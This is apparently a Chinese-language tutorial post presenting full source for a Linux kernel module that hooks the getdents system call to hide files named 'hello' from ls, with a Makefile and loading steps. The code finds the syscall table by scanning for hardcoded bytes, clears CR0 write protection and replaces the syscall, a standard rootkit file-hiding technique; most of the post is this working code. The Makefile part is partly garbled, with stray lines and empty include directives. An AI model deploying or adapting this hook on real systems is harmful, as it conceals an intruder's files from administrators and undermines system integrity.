#drop_all:drop_all.c
# gcc -o drop_all drop_all.c
#clean:
# rm *.o
obj-m += HIDE_ls.o // HIDE_ls.o即为要编译到内核的代码名
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
struct linux_dirent{
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
static unsigned long ** sys_call_table;
char psname[10]="hello";
char *processname=psname;
long (*orig_getdents)(unsigned int fd, struct linux_dirent __user *dirp,
unsigned int count);
void disable_write_protection(void) //取消写保护
{
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
write_cr0(cr0);
}
void enable_write_protection(void) //打开写保护
{
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
write_cr0(cr0);
}
void *
get_lstar_sct_addr(void)
{
u64 lstar;
u64 index;
rdmsrl(MSR_LSTAR, lstar); /*可获得系统调用的入口地址,
然后对该入口地址进行解析得
到入口函数为system_call*/
for (index = 0; index <= PAGE_SIZE; index += 1) {
u8 *arr = (u8 *)lstar + index;
if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) { /*从0中断服务程序system_call的地址
开始搜索硬编码 \xff\x14\x85,
这块硬编码的后面紧接着就是系统调用表的地址 */
return arr + 3;
}
}
return NULL;
}
unsigned long **
get_lstar_sct(void)
{
unsigned long *lstar_sct_addr = get_lstar_sct_addr();
if (lstar_sct_addr != NULL) {
u64 base = 0xffffffff00000000;
u32 code = *(u32 *)lstar_sct_addr;
return (void *)(base | code); //Linux x86_64使用的LP64字长模式
} else {
return NULL;
}
}
/*修改的系统调用,替换原来的sys_getdents.系统调用getdents()从中读取多个linux_dirent结构
通过打开的文件描述符简称目录FD进入由dirp指向的缓冲区。参数数量指定的大小那个缓冲区。 */
asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count){
struct linux_dirent *dp,*pos,*buf1,*buf2;
int fd_len;
int copy_len = 0;
fd_len = (*orig_getdents) (fd, dirp, count); //调用sys_getdents,返回该目录文件下目录的总字节数
if (!fd_len) {
printk("fd is empty.\n");
return (fd_len);
}
buf1 = (struct linux_dirent *) kmalloc(fd_len, GFP_KERNEL);
buf2 = (struct linux_dirent *) kmalloc(fd_len, GFP_KERNEL);
dp = buf1;
pos = buf2;
copy_from_user(buf2, dirp, fd_len); //将用户空间的数据copy到buf2中,即内核空间
while(fd_len>0){
printk("%s\n",buf2->d_name);
// 假如找到要隐藏的文件名,直接跳过不处理,其他的均COPY给buf1
if(strstr(buf2->d_name,processname) == NULL){
printk("Don't find process\n");
memmove(buf1, (char *) buf2 , buf2->d_reclen);
buf1 = (struct linux_dirent *) ((char *)buf1 + buf2->d_reclen);
copy_len = copy_len + buf2->d_reclen;
}
fd_len = fd_len - buf2->d_reclen;
buf2 = (struct linux_dirent *) ((char *)buf2 + buf2->d_reclen);
}
copy_to_user(dirp, dp, copy_len); // 将copy来数据送回用户空间
kfree(dp);
kfree(pos);
return (copy_len);
}
static int enter(void)
{
sys_call_table = get_lstar_sct();
if (!sys_call_table)
{
printk("get_act_addr(): NULL...\n");
return 0;
}
else{
printk("sct: 0x%p\n", (unsigned long)sys_call_table[__NR_getdents]);
orig_getdents = (void *)sys_call_table[__NR_getdents]; //保存原来的系统调用
disable_write_protection(); //取消写保护位
sys_call_table[__NR_getdents] = (unsigned long *)&hacked_getdents; //替换成我们自己写的系统调用
enable_write_protection();
printk(KERN_INFO "hideps: module loaded.\n");
return 0;
}
}
static void go_out(void)
{
disable_write_protection();
sys_call_table[__NR_getdents] = (unsigned long *)orig_getdents; //恢复默认的系统调用
enable_write_protection();
printk(KERN_INFO "hideps: module removed\n");
}
MODULE_LICENSE("GPL");
module_init(enter);
module_exit(go_out);
1,在某一文件夹下创建名“hello”文件夹和文件
2,此时用ls命令,可以清楚看到名“hello”文件夹和文件。
可见有hello文件夹。
3,编译HIDE_ls.c 生成模块HIDE_ls.ko
4,把模块HIDE_ls.ko,用命令 insmod 加载进内核
5,再次用 ls命令,发现之前的hellow文件夹被隐藏
6,最后要记得rmmod掉HIDE_ls.ko。
ps:用其他的内核版本可能会失败,旦整体思路如上所示,以上内容假如有啥错误的请一定指出,本人就是喜欢接受批评,大家可以一起讨论,
谢谢大家!